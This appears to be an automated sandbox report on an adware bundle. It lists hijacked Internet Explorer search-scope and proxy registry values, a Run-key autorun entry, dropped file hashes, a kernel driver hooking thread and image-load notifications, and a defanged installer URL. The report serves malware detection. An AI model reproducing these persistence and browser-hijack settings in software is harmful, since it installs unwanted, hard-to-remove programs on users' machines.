"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process cscript.exe:4548 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process spbiu.exe:5004 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Ult" = "Type: REG_QWORD, Length: 8"

The process spbiu.exe:2632 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Gcf" = "D9 91 CF EC EE 40 F4 7E 74 E4 CF FB 2F 99 75 C3"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Scf" = "F4 E7 8D A0 23 FE A8 F6 9A D1 0B FB 96 01 78 60"

The process wscript.exe:4920 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process XTab_v4.0.exe:3896 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\XTab"

[HKLM\SOFTWARE\Wow6432Node\supTab]
"ptid" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"TopResultURL" = "http://www.bing.com/search?q={searchTerms}&src=IE-TopResult&FORM=IETR02"
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4E 00 00 00 09 00 00 00 00 00 00 00"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0]
"(Default)" = "SupTabLib"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURL" = "http://www.bing.com/favicon.ico"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}]
"(Default)" = "IETabPage Class"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\Version]
"(Default)" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"
"DisplayName" = "Bing"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconURL" = "http://www.google.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}"

[HKLM\SOFTWARE\Wow6432Node\SupDp]
"dir" = "%Program Files% (x86)\XTab"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconURL" = "http://do-search.com//favicon.ico"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"TopResultURL" = "http://www.google.com/search?q={searchTerms}&sourceid=ie7&rls=com.microsoft:{language}:{referrer:source}&ie={inputEncoding?}&oe={outputEncoding?}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"TopResultURL" = "http://www.mystartsearch.com/web/?type=ds&ts=1422581320&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURLFallback" = "http://www.bing.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"DisplayName" = "Google"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"DisplayName" = "e"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{E733165D-CBCF-4FDA-883E-ADEF965B476C}.ico"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process taskeng.exe:4360 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{F7F08321-2C24-4A69-86FD-F0C31DB1E508}]
"data" = "4D 45 4F 57 01 00 00 00 E4 B7 BD 92 8B F2 A0 46"

The process taskeng.exe:2668 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{0E9C217E-36E2-40DA-BB6A-8D9973A3FBC7}]
"data" = "4D 45 4F 57 01 00 00 00 E4 B7 BD 92 8B F2 A0 46"

The process %original file name%.exe:2944 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Dropped PE files

MD5	File path
54c7c9516ee9225c04d7e807ebcac565	c:\Program Files (x86)\App Lid\11a9fc6b-cfbc-4d3c-943b-7e1062933d01-4.exe
c373d84f563ba4a541164d501b3a9a21	c:\Program Files (x86)\App Lid\11a9fc6b-cfbc-4d3c-943b-7e1062933d01-5.exe
7e9eb548a991849d1b87077ab4f65cee	c:\Program Files (x86)\App Lid\App Lid-bg.exe
e0b472d12390ac79a68c33b6aeb10035	c:\Program Files (x86)\App Lid\App Lid-bho.dll
a958fb3ab34e335b5c32f104e413e4be	c:\Program Files (x86)\App Lid\App Lid-bho64.dll
d1b974667c753c5e5c8596b64faaa14d	c:\Program Files (x86)\App Lid\App Lid-buttonutil.dll
16a62235ff5abb857606688f9247f47f	c:\Program Files (x86)\App Lid\App Lid-buttonutil.exe
908dd57732d0d18a431e848a774c80f2	c:\Program Files (x86)\App Lid\App Lid-buttonutil64.dll
de2be3d4b8d8a1c22a758693441c8b64	c:\Program Files (x86)\App Lid\App Lid-buttonutil64.exe
dcc00bbd6e1d67084a05c9afe3d27e48	c:\Program Files (x86)\App Lid\App Lid-codedownloader.exe
81a36f0ac2a7c00607da4cb2db464a0c	c:\Program Files (x86)\App Lid\Uninstall.exe
ce937e28829377ba3c99d0b7c9369305	c:\Program Files (x86)\App Lid\utils.exe
1126477d1cbdc55f672fe6a6db85fe97	c:\Program Files (x86)\Free Zip\7-zip.dll
f349a5ac91102f3beff11d9df10caafc	c:\Program Files (x86)\Free Zip\7z.dll
6aaf15dd52f94cee5d65ea4047122967	c:\Program Files (x86)\Free Zip\7z.exe
105bdf34d46638feda7e2316e77bc91c	c:\Program Files (x86)\Free Zip\7z.sfx
f6df7efac396e3e73a59be8f7bdcbec3	c:\Program Files (x86)\Free Zip\7zCon.sfx
a79322ce3790c9c2bb1030f9532ae4a1	c:\Program Files (x86)\Free Zip\7zFM.exe
58c192fec84bd077a5b0917240cd093c	c:\Program Files (x86)\Free Zip\7zG.exe
b6a40ac93155ec0a6ffdfcf39607cf78	c:\Program Files (x86)\Free Zip\Uninstall.exe
bbf868c6962c5815e66e977065e4f2d5	c:\Program Files (x86)\Google\Chrome\Application\40.0.2214.94\Installer\chrmstp.exe
bbf868c6962c5815e66e977065e4f2d5	c:\Program Files (x86)\Google\Chrome\Application\40.0.2214.94\Installer\setup.exe
3d3f65820e008798fc0ed760c4d5cab6	c:\Program Files (x86)\Google\Chrome\Application\40.0.2214.94\PepperFlash\pepflashplayer.dll
d59d084278767e5835811cee763a757b	c:\Program Files (x86)\Google\Chrome\Application\40.0.2214.94\chrome.dll
43bbc05b8e0468f4fec18ffe1343a805	c:\Program Files (x86)\Google\Chrome\Application\40.0.2214.94\chrome_child.dll
ee39fd8aed2a0ec7e5b8bee5a26726e9	c:\Program Files (x86)\Google\Chrome\Application\40.0.2214.94\chrome_elf.dll
c81e0c917d5db4fecd2ec3c7e2712bbf	c:\Program Files (x86)\Google\Chrome\Application\40.0.2214.94\d3dcompiler_46.dll
49bee2276f744e4f2fee0aa96e3c18b9	c:\Program Files (x86)\Google\Chrome\Application\40.0.2214.94\delegate_execute.exe
149a4b5ba00fa3d438c9e83ac2582d1d	c:\Program Files (x86)\Google\Chrome\Application\40.0.2214.94\ffmpegsumo.dll
19d549f6c4c655cd2608fc60986d77f2	c:\Program Files (x86)\Google\Chrome\Application\40.0.2214.94\libegl.dll
acb707e1823736d343dccf037e23c64c	c:\Program Files (x86)\Google\Chrome\Application\40.0.2214.94\libexif.dll
ef11581a8d5ab4581dfcab0f6c76a52a	c:\Program Files (x86)\Google\Chrome\Application\40.0.2214.94\libglesv2.dll
3d3cd69073dbb322486b4ebf7edf0791	c:\Program Files (x86)\Google\Chrome\Application\40.0.2214.94\libpeerconnection.dll
f2c494967b0baacc008b25a296ebeaae	c:\Program Files (x86)\Google\Chrome\Application\40.0.2214.94\metro_driver.dll
176aa0f85ca6be6fbb33faa3fbc62d05	c:\Program Files (x86)\Google\Chrome\Application\40.0.2214.94\nacl64.exe
01e93eef9bb179bbd6b496b8d4440671	c:\Program Files (x86)\Google\Chrome\Application\40.0.2214.94\pdf.dll
2749051681550dc0f9dfcf1afdf5edab	c:\Program Files (x86)\Google\Chrome\Application\40.0.2214.94\widevinecdmadapter.dll
77f595dee5ffacea72b135b1fce1312e	c:\Program Files (x86)\Google\Chrome\Application\40.0.2214.94\xinput1_3.dll
cf9ba33c05f698644e790ff80ab96295	c:\Program Files (x86)\Google\Update\Download\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}\40.0.2214.94\40.0.2214.94_chrome_installer.exe
cf9ba33c05f698644e790ff80ab96295	c:\Program Files (x86)\Google\Update\Install\{FD0565BD-B5D0-4972-9B70-EF16ED205441}\40.0.2214.94_chrome_installer.exe
de1439a7298c57ecfae480d0667b1cab	c:\Program Files (x86)\ShopperPro\JSDriver\1486.0.0.0\jsdrv.exe
3b0e24c6b66c580a01b3ab33124cc0e0	c:\Program Files (x86)\ShopperPro\JSDriver\1486.0.0.0\jsdrv.sys
de1439a7298c57ecfae480d0667b1cab	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.exe
3b0e24c6b66c580a01b3ab33124cc0e0	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.sys
e8e18e6ad1b3f0193853cacca0c5bd75	c:\Program Files (x86)\ShopperPro\SPRemove.exe
a1319dc5b8e589d1796eda9298de9585	c:\Program Files (x86)\ShopperPro\ShopperPro.dll
dce34be4dc9eea74e9a5ab8698baa457	c:\Program Files (x86)\ShopperPro\ShopperPro.exe
aa9fcd82a42caeeb6940cbbebc38ae2b	c:\Program Files (x86)\ShopperPro\ShopperPro64.dll
8d9e016330fc637a38446a28d12685ff	c:\Program Files (x86)\ShopperPro\Updater.exe
a7998c55467d4884cb509e5c4cfdcfa2	c:\Program Files (x86)\XTab\BrowerWatchCH.dll
fbde6af89f9b351243c3f736a48a0543	c:\Program Files (x86)\XTab\BrowerWatchFF.dll
5785680870eff9ba7b4f58c726552013	c:\Program Files (x86)\XTab\BrowserAction.dll
77590ce0cdeb6bbee8dc056fea0b107c	c:\Program Files (x86)\XTab\CmdShell.exe
c04d8bc933470b3913e4e3e6c3115793	c:\Program Files (x86)\XTab\HPNotify.exe
a330b7929278b18a33e29bd4bb69abc3	c:\Program Files (x86)\XTab\IeWatchDog.dll
b32a88b91e59bfb553a9bebf78a1e567	c:\Program Files (x86)\XTab\ProtectService.exe
fece5b81614bd16ff043051f338183a0	c:\Program Files (x86)\XTab\SupTab.dll
3e29914113ec4b968ba5eb1f6d194a0a	c:\Program Files (x86)\XTab\msvcp110.dll
4ba25d2cbe1587a841dcfb8c8c4a6ea6	c:\Program Files (x86)\XTab\msvcr110.dll
852f4db9b269f52c54f37568d703825e	c:\Program Files (x86)\XTab\uninstall.exe
7b538383623b61c01dc8c9db2f27192a	c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.exe
fcd7181045d7f45863163685f63cbc26	c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.sys
3db5e55f5b7cad6dfa73987703be553d	c:\Program Files (x86)\YTAHelper\SPRemove.exe
0f280884fb3ea901810e3687d520e66b	c:\Program Files (x86)\YTAHelper\YTAHelper.dll
4c2cbf16ac43df603dd18ef5adb7e7c0	c:\Program Files (x86)\YTAHelper\YTAHelper.exe
ea7bfd3722f6bdb16942dfdcebe2a7bd	c:\Program Files (x86)\YTAHelper\YTAHelper64.dll
f593c94827e130cdb5c3215e0753c781	c:\Program Files (x86)\YouTube Accelerator\Res.dll
973567b98cdfc147df4e60471d9df072	c:\Program Files (x86)\YouTube Accelerator\UNWISE.EXE
96257545e464d8e48a767dca7158ab18	c:\Program Files (x86)\YouTube Accelerator\Updater.exe
496dd2c9f288bafc7e3c3e8b9e30c5cb	c:\Program Files (x86)\YouTube Accelerator\YTAHUninstall.exe
214055e3a33c271e88d48a02f9b0f77f	c:\Program Files (x86)\YouTube Accelerator\YTAUninstall.exe
592989a426ae8bd543816906b4e404b6	c:\Program Files (x86)\YouTube Accelerator\YouTubeAccelerator.exe
6354ff478451dc33755ffaea5163eabb	c:\Program Files (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Program Files (x86)\YouTube Accelerator\cabex.dll
30a7767ce7edd677b85dbf308476be5e	c:\Program Files (x86)\YouTube Accelerator\engine.dll
3f60c99839e22b593223eb083e1ae454	c:\Program Files (x86)\YouTube Accelerator\helper.dll
e3ca787c4ef41e3d3c212899dd361daf	c:\Program Files (x86)\YouTube Accelerator\ipc.dll
cba2facb405fc377eced6abe5e8fe605	c:\Program Files (x86)\YouTube Accelerator\lspinst.exe
1b3f12f9710b8079619d87728f711cfb	c:\Program Files (x86)\YouTube Accelerator\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Program Files (x86)\YouTube Accelerator\sporder.dll
bfe64f99674b43adc1806cd3183f4fbd	c:\Program Files (x86)\YouTube Accelerator\testlsp.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Program Files (x86)\YouTube Accelerator\unelevate.exe
e09fa1c699e985e4cf8cfc6457dba9f1	c:\Program Files (x86)\YouTube Accelerator\xmldb.dll
6289966fd5c7d68cc37d526f6a40cdfa	c:\Program Files (x86)\YouTube Accelerator\ytalsp.dll
e70285bcfc21ef972c03e0e5f443a2c9	c:\Program Files\Common Files\ShopperPro\spbia.exe
bcacb607c88f3f1fd686f9ab079dffb3	c:\Program Files\Common Files\ShopperPro\spbici32.dll
4ab9cffd48e061b0167b511923addc1f	c:\Program Files\Common Files\ShopperPro\spbici64.dll
5b30198ef5ceed8de830e7732f8f329b	c:\Program Files\Common Files\ShopperPro\spbii32.exe
ce8069fa85f28a0306fab869fa3ee7ac	c:\Program Files\Common Files\ShopperPro\spbii64.exe
e0107881c331655af751bce8ce2cc776	c:\Program Files\Common Files\ShopperPro\spbiu.exe
a4af92c1f15de98aecbd23ba6c698216	c:\Program Files\Common Files\ShopperPro\spbiw.sys
a1319dc5b8e589d1796eda9298de9585	c:\ProgramData\ShopperPro\ShopperPro.dll
aa9fcd82a42caeeb6940cbbebc38ae2b	c:\ProgramData\ShopperPro\ShopperPro64.dll
a1319dc5b8e589d1796eda9298de9585	c:\Users\All Users\ShopperPro\ShopperPro.dll
aa9fcd82a42caeeb6940cbbebc38ae2b	c:\Users\All Users\ShopperPro\ShopperPro64.dll
a9f1ecb4159ecaf56bbe555f81374f25	c:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe
f9092a47c8e3b49ae282a8b4e97d5599	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_24031\ins_postInst.exe
f9092a47c8e3b49ae282a8b4e97d5599	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_24031\ins_postInst.exe
23f833027e99b925ecb69fd095c89faf	c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe
66dd70b68ffc0b8c4e4f9262513299ad	c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_a
adeebc8eac65f234faacbd599a524e6c	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp
c7b90f2f6b70e153f4e1001e94f1be49	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\FreeZip920.exe
f9092a47c8e3b49ae282a8b4e97d5599	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_11514\ins_postInst.exe
e1f48aa094bffe3887d0ffec22eaae1f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_11514\ins_yta.exe
39bc3f97d5142d9e0fe6f66ec0142427	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_24880\ins_shopperpro.exe
45960b40c1ecb75ed5549a80049879e1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx
f593c94827e130cdb5c3215e0753c781	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll
496dd2c9f288bafc7e3c3e8b9e30c5cb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe
74fb4a7f6e8fb16497b109264ebd87b5	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe
592989a426ae8bd543816906b4e404b6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe
6354ff478451dc33755ffaea5163eabb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe
30a7767ce7edd677b85dbf308476be5e	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll
3f60c99839e22b593223eb083e1ae454	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll
e3ca787c4ef41e3d3c212899dd361daf	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll
cba2facb405fc377eced6abe5e8fe605	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe
1b3f12f9710b8079619d87728f711cfb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll
bfe64f99674b43adc1806cd3183f4fbd	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe
96257545e464d8e48a767dca7158ab18	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe
e09fa1c699e985e4cf8cfc6457dba9f1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll
6289966fd5c7d68cc37d526f6a40cdfa	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll
214055e3a33c271e88d48a02f9b0f77f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe
4ca158423c13f6f7ef8e1a0a745384f6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\tmp\STab_Down_6.0.6.6.exe
55bae15d523e4fabaa551023703d3fd9	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\tmp\XTab_v4.0.exe
c8ac9074c2dfd3814f656d1feca32129	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp735700\tmp\wpm_v20.0.0.1714.exe
518879abe3170dabd172dfffcd165598	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe
92c732231b7909edeff180174c6ef499	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll
3a9ce8edf728d00a44376a75fe7b2aca	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\AccDownload.dll
f0438a894f3a7e01a4aae8d1b5dd0289	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp3EF5.tmp\nsProcess.dll
8683e0490479293e0dd1faf2cf2e88d7	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\AccDownload.dll
faa7f034b38e729a983965c04cc70fc1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2637.tmp\nsProcess.dll
31f8d1cffb02dff93646f81d8ce3dd75	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\unelevate.exe
3b493ea26579abaea256726feb9a5421	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe
4f9236be13917b89f7a03dea85f220fa	c:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe
d8ba5f4e6a1594d0e07c886dac0f5f8c	c:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe
1087be1ed3e4cf8bac3dfb8bcf76facf	c:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe
45960b40c1ecb75ed5549a80049879e1	c:\Windows\SysWOW64\AniGIF.ocx
45960b40c1ecb75ed5549a80049879e1	c:\Windows\System32\AniGIF.ocx

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "\??\%Program Files%\Common Files\ShopperPro\spbiw.sys" the Application controls creation and closing of threads by installing the thread notifier.
Using the driver "\??\%Program Files%\Common Files\ShopperPro\spbiw.sys" the Application controls loading executable images into a memory by installing the Load image notifier.

Propagation

VersionInfo

Company Name: Product Name: Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: 2.1.0.0 File Description: Powered by BetterInstaller Comments: Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	28860	29184	4.36907	33e8227bf6edbf3997e3d0895494668e
.data	36864	140	512	0.818223	1b0351714f371c0ba066871d4e504b00
.rdata	40960	3196	3584	3.54441	88a268b1fac88e9fad865c68cf3abce2
.bss	45056	110088	0	0	d41d8cd98f00b204e9800998ecf8427e
.idata	155648	4932	5120	3.53424	11c816edc4ef9cc4aa5511f8a707232b
.ndata	163840	36864	1024	0	0f343b0931126a20f133d67c2b018a3b
.rsrc	200704	17800	17920	3.95009	38aa1bb4b24ba9d1eca880d3aa08b1cd

Dropped from:

Downloaded by:

Similar by SSDeep:

a18ea9e828e2aa794642db48b874f7c8

Similar by Lavasoft Polymorphic Checker:

Total found: 818 3fe02ef6a2ede61ce4dac40da7715dcd 53534b0486f99ae01aa5ed30dcd95210 dc841067513ef402d1d714d12e951155 06d34931408d4fd38b73c6e538eb0490 6e809b46ea57ad55e2beddebc295bde4 caef0bc3be4f8e1d2e82ca4727804073 07e1212a8012b9ac8ffda358e9fe7da7 c1ba6151a7baeadb18be09422ab69eb7 a808003aa90214609f262dcb4f55d6bd da555c0a32c5b395325c0e5c78a069ff 652fb5335f1022044865a85392435928 df414b45546e43f107e7c6169e8edb54 30cb87536d6a590f3bcde215269afddd 708e4629aaef6da1a8b9cb91a0cf521c 3a9d07fed65d2c0bc52ee4ed874eeff0 881a05cc6bda21f4644909746b460396 1e5e3e884154d72d452bbdb7c762cb29 7a5069958a966961227028cf6bbb4ed2 eda201f904773b48a07802ca833e68f3 54994d75753ef2dc34ffc4a5fcb6be37 fa2cbc2d2aea425a49fb29d51d9bcc33 2dfade89368b6de33f6a0be79203795a f17c45801a57bba4b005ec384a441bd9 ef16605e62d299cd4043233eed25bb98 ca1cc94fc69923c006af323e68510814

URLs

URL	IP
hxxp://installer.betterinstaller.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4
